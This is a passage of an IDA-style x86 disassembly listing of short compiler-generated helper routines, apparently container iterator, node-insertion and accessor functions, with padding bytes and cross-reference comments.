		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4218F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421AF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421ED0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_422130	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_422240	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422350	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_422410	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422520	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42263B
